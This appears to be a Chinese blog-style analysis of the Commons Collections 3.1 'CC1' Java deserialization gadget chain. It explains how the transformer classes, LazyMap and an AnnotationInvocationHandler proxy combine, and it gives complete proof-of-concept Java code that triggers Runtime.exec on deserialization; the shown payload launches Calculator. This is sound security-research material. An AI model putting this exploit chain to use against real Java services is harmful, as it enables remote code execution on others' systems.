CC1 链的关键在三个实现了Transformer接⼝的类 ChainedTransformer ConstantTransformer InvokerTransformer,Transformer 顾名思义就是一个转换器用来处理传入的对象,然后将处理完的对象返回。
** commons-collections-3.1.jar!/org/apache/commons/collections/Transformer.class **
先来看 InvokerTransformer 类是如何实现 transform 方法的
org.apache.commons.collections.functors.InvokerTransformer.class#transform()
获取传入对象的类,接着利用反射执行类中的任意方法,其中 this.iMethodName, this.iParamTypes, this.iArgs 都是可控的在构造函数中赋值。 这部分就是 CC1 链最终执行命令的地方,传入一个 Runtime 类对象,利用反射执行 exec 方法。
所以直接找到⼀个类,它在反序列化的 readObject 里直接或间接调用了 InvokerTransformer 的 transform 方法,并且参数可控,是这样吗?肯定不是我们都知道待序列化的对象和所有它使⽤的内部属性对象,必须都实现了 java.io.Serializable 接⼝。我们需要传给 transform 方法的参数是 Runtime 对象,在序列化的时候肯定也属于内部属性对象,而它是没有实现 java.io.Serializable 接⼝的,所以即使找到了符合条件的类也没办法构造成序列化数据。
接着来看第二个 ChainedTransformer 类是如何实现 transform 接口的
org.apache.commons.collections.functors.ChainedTransformer.class#transform()
按顺序调用 Transformer 数组 this.iTransformers 中所有 Transformer 对象的 transform 方法,并且每次调用的结果传递给下一个 Transformer#transform() 作为参数。就像一个车间,每个工人处理完零件后交给下一个环节的工人处理,最后输出成品。
利用它我们可以构造 Transformer 数组 通过 ChainedTransformer#transform() 的链式调用机制+java的反射机制在反序列化时构造出 Runtime 对象,而不是在序列化之前就实例化 Runtime 对象。这样就可以解决 Runtime 不能序列化的问题。
这是通过反射获取 Runtime 对象的方法
1 2 3 4 Class clazz = Class.forName("java.lang.Runtime"); Method getRuntimeMethod = clazz.getMethod("getRuntime"); Runtime runtime = (Runtime) getRuntimeMethod.invoke(null); runtime.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
用 ChainedTransformer#transform() 链式调用机制的写法就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Transformer[] transformers = new Transformer[]{ new InvokerTransformer( "forName", new Class[] {String.class}, new Object[] {"java.lang.Runtime"} ), new InvokerTransformer( "getMethod", new Class[] {String.class,Class[].class}, new Object[] {"getRuntime",new Class[0]} ), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer( "exec", new Class[] {String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"} ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Class.class);
最后调用 ChainedTransformer#transform() 即可,参数为 class对象(Class.class)
把 chainedTransformer 序列化试试
没报错,现在还需要找到一个类,在反序列化的 readObject 里直接或间接调用了 ChainedTransformer 的 transform 方法
并且调用 transform() 方法是参数可控,因为链式调用的起点 为 class对象(Class.class),是我们传入 transform() 方法的参数。这样条件有些苛刻了,即使参数可控,参数类型也对不上。继续想办法减少条件。
我们看 ConstantTransformer 是如何实现 Transformer 接口的,直接返回了 this.iConstant ,this.iConstant 是在实例化对象时在构造函数里传⼊的⼀个对象。
简单来说它的作用就是 包裹一个对象,在调用其 transform 方法时返回这个对象。
前边说到使用 ChainedTransformer#transform() 方法链式调用的起点是传入 transform() 方法的参数,也就是 class 对象(Class.class)。我们用 ConstantTransformer 包裹一个 class 对象,把它放到我们构造的 Transformer 数组的首位,作为链式调用的起点。
随便传入一个参数都能调用成功。
现在我们只需要找到一个类,在反序列化的 readObject 里直接或间接调用了 ChainedTransformer 的 transform 方法即可。
LazyMap ysoserial 使用的是AnnotationInvocationHandler+LazyMap#get()。
1 2 3 4 AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get()
AnnotationInvocationHandler 类的 readObject 方法中并没有直接调用到 Map 的 get 方法,但是在 AnnotationInvocationHandler#invoke() 方法调用了 get 方法,this.memberValues 可控。
那么如何调用 AnnotationInvocationHandler#invoke() 方法呢?这部分涉及到 java 的动态代理。创建一个 AnnotationInvocationHandler 的代理类,当调用 AnnotationInvocationHandler 的代理类里的任意方法时都会先调用 AnnotationInvocationHandler#invoke() 方法,有点像php里的 _call() 只不过 _call() 在调用不存在的方法才触发。
所以现在的思路 创建一个 LazyMap 对象,设置 factory 为我们构造好的 ChainedTransformer,这样调用LazyMap#ge t()时就会调用 factory.transform() 即 ChainedTransformer.transform()。
创建一个 AnnotationInvocationHandler 类,设置 this.memberValues 为我们构造的 LazyMap,注意看 AnnotationInvocationHandler 的构造函数,第一个参数必须是注释,否则进不到 if 里赋值
接着为我们构造好的 AnnotationInvocationHandler 对象创建一个代理,然后只要调用代理后的对象中的任意方法即可出发 AnnotationInvocationHandler#invoke() 方法
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 package payload;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import org.jboss.weld.manager.Transform;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.annotation.Repeatable;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CommonCollections1 { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Class.class), new InvokerTransformer( "forName" , new Class[] {String.class}, new Object[] {"java.lang.Runtime" } ), new InvokerTransformer( "getMethod" , new Class[] {String.class,Class[].class}, new Object[] {"getRuntime" ,new Class[0 ]} ), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer( "exec" , new Class[] {String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator" } ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Repeatable.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); proxyMap.size(); } }
这里代理对象是转换成了Map 类型,其实换成别的也是一样的
最后只要随便找一个类,它的 readObject 方法有对我们的代理对象调用任意方法即可,满足这个条件的的类可太多了,ysoserial 中继续使用了 AnnotationInvocationHandler 类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package payload;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import org.jboss.weld.manager.Transform;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.List;import java.util.Map;public class CommonCollections1 { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Class.class), new InvokerTransformer( "forName" , new Class[] {String.class}, new Object[] {"java.lang.Runtime" } ), new InvokerTransformer( "getMethod" , new Class[] {String.class,Class[].class}, new Object[] {"getRuntime" ,new Class[0 ]} ), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer( "exec" , new Class[] {String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator" } ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }
成功弹出计算器
总结 分析完之后还是有很多疑问,最后得到的 poc 我 debug 的时候发现反序列化弹出计算器的过程,并没有按照我们的设想,而是在执行完 AbstractMapDecorator#entrySet()方法后触发的,在 invoke 中打的断点也是在弹出计算器之后才命中。
而在 ChainedTransformer#transform() 方法中打的断点根本就没有命中。然后我去看 ysoserial 中 CC1 链是如何构造的,发现逻辑是一样的,我们写的 poc 并没有问题。用 P 牛的 demo 也是一样的问题,令人疑惑.jpg